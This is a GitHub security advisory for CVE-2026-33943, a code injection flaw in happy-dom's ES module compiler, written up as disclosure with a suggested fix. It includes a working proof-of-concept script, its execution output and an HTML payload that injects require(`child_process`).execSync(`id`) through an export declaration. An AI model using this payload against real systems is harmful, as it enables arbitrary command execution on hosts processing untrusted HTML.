GHSA-6Q6H-J7HJ-3R64
Vulnerability from github – Published: 2026-03-26 22:22 – Updated: 2026-03-30 20:07Summary
A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.
Details
Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385
The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:
} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
// Export object
const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
const exportCode: string[] = [];
for (const part of parts) {
const nameParts = part.trim().split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, ''); // backticks NOT stripped
if (exportName && importName) {
exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
// importName is inserted as executable code, not as a string
}
}
newCode += exportCode.join(';\n');
}
The issue has three root causes:
STATEMENT_REGEXPuses{[^}]+}which matches any content inside braces, not just valid JavaScript identifiers- The captured
importNameis placed in code context (as a JS expression to evaluate), not in string context .replace(/["']/g, '')strips"and'but not backticks, so template literal strings like`child_process`survive the filter
Attack flow:
Source: export { require(`child_process`).execSync(`id`) }
Regex captures match[16] = " require(`child_process`).execSync(`id`) "
After .replace(/["']/g, ''):
importName = "require(`child_process`).execSync(`id`)"
(backticks are preserved)
Generated code:
$happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
evaluateScript() executes this code -> RCE
Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.
PoC
Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:
// poc_happy_dom_rce.js
// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);
console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());
// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');
console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));
// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);
// Step 4: Verify the generated code is valid JavaScript
try {
new Function('$happy_dom', generatedCode);
console.log('[+] Valid JavaScript: YES');
} catch (e) {
console.log('[-] Parse error:', e.message);
process.exit(1);
}
// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);
Execution result:
$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)
HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:
<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>
Impact
An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.
Realistic attack scenarios: - SSR applications: Applications using happy-dom to render user-supplied HTML on the server - Web scraping: Applications parsing untrusted web pages with happy-dom - Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom
Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:
const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;
for (const part of parts) {
const nameParts = part.trim().split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
const importName = nameParts[0].replace(/["'`]/g, '');
if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
}
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 20.8.7"
},
"package": {
"ecosystem": "npm",
"name": "happy-dom"
},
"ranges": [
{
"events": [
{
"introduced": "15.10.0"
},
{
"fixed": "20.8.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33943"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:22:20Z",
"nvd_published_at": "2026-03-27T22:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.\n\n### Details\n\n**Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385\n\nThe \"Export object\" handler extracts content from `export { ... }` using the regex `export\\s*{([^}]+)}`, then generates executable code by directly interpolating it:\n\n } else if (match[16] \u0026\u0026 isTopLevel \u0026\u0026 PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {\n // Export object\n const parts = this.removeMultilineComments(match[16]).split(/\\s*,\\s*/);\n const exportCode: string[] = [];\n for (const part of parts) {\n const nameParts = part.trim().split(/\\s+as\\s+/);\n const exportName = (nameParts[1] || nameParts[0]).replace(/[\"\u0027]/g, \u0027\u0027);\n const importName = nameParts[0].replace(/[\"\u0027]/g, \u0027\u0027); // backticks NOT stripped\n if (exportName \u0026\u0026 importName) {\n exportCode.push(`$happy_dom.exports[\u0027${exportName}\u0027] = ${importName}`);\n // importName is inserted as executable code, not as a string\n }\n }\n newCode += exportCode.join(\u0027;\\n\u0027);\n }\n\nThe issue has three root causes:\n\n1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers\n2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context\n3. `.replace(/[\"\u0027]/g, \u0027\u0027)` strips `\"` and `\u0027` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter\n\n**Attack flow:**\n\n Source: export { require(`child_process`).execSync(`id`) }\n\n Regex captures match[16] = \" require(`child_process`).execSync(`id`) \"\n\n After .replace(/[\"\u0027]/g, \u0027\u0027):\n importName = \"require(`child_process`).execSync(`id`)\"\n (backticks are preserved)\n\n Generated code:\n $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n\n evaluateScript() executes this code -\u003e RCE\n\n**Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.\n\n### PoC\n\n**Standalone PoC script** \u2014 reproduces the vulnerability without installing happy-dom by replicating the compiler\u0027s exact code generation logic:\n\n // poc_happy_dom_rce.js\n\n // Step 1: The STATEMENT_REGEXP matches export { ... }\n const STMT_REGEXP = /export\\s*{([^}]+)}/gm;\n const source = \u0027export { require(`child_process`).execSync(`id`) }\u0027;\n const match = STMT_REGEXP.exec(source);\n\n console.log(\u0027[*] Module source:\u0027, source);\n console.log(\u0027[*] Regex captured:\u0027, match[1].trim());\n\n // Step 2: Compiler processes the captured content (lines 374-381)\n const part = match[1].trim();\n const nameParts = part.split(/\\s+as\\s+/);\n const exportName = (nameParts[1] || nameParts[0]).replace(/[\"\u0027]/g, \u0027\u0027);\n const importName = nameParts[0].replace(/[\"\u0027]/g, \u0027\u0027);\n\n console.log(\u0027[*] importName after quote filter:\u0027, importName);\n console.log(\u0027[*] Backticks survived filter:\u0027, importName.includes(\u0027`\u0027));\n\n // Step 3: Code generation - importName is inserted as executable JS expression\n const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;\n console.log(\u0027[*] Generated code:\u0027, generatedCode);\n\n // Step 4: Verify the generated code is valid JavaScript\n try {\n new Function(\u0027$happy_dom\u0027, generatedCode);\n console.log(\u0027[+] Valid JavaScript: YES\u0027);\n } catch (e) {\n console.log(\u0027[-] Parse error:\u0027, e.message);\n process.exit(1);\n }\n\n // Step 5: Execute to prove RCE\n console.log(\u0027[*] Executing...\u0027);\n const output = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString().trim();\n console.log(\u0027[+] RCE result:\u0027, output);\n\n**Execution result:**\n\n $ node poc_happy_dom_rce.js\n [*] Module source: export { require(`child_process`).execSync(`id`) }\n [*] Regex captured: require(`child_process`).execSync(`id`)\n [*] importName after quote filter: require(`child_process`).execSync(`id`)\n [*] Backticks survived: true\n [*] Generated code: $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n [+] Valid JavaScript: YES\n [*] Executing...\n [+] RCE result: uid=0(root) gid=0(root) groups=0(root)\n\n**HTML attack vector** \u2014 when processed by happy-dom with JavaScript evaluation enabled:\n\n \u003cscript type=\"module\"\u003e\n export { require(`child_process`).execSync(`id`) }\n \u003c/script\u003e\n\n### Impact\n\nAn attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system.\n\nRealistic attack scenarios:\n- **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server\n- **Web scraping**: Applications parsing untrusted web pages with happy-dom\n- **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom\n\n**Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code:\n\n const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;\n\n for (const part of parts) {\n const nameParts = part.trim().split(/\\s+as\\s+/);\n const exportName = (nameParts[1] || nameParts[0]).replace(/[\"\u0027`]/g, \u0027\u0027);\n const importName = nameParts[0].replace(/[\"\u0027`]/g, \u0027\u0027);\n\n if (exportName \u0026\u0026 importName \u0026\u0026 VALID_JS_IDENTIFIER.test(importName)) {\n exportCode.push(`$happy_dom.exports[\u0027${exportName}\u0027] = ${importName}`);\n }\n }",
"id": "GHSA-6q6h-j7hj-3r64",
"modified": "2026-03-30T20:07:48Z",
"published": "2026-03-26T22:22:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33943"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/capricorn86/happy-dom"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.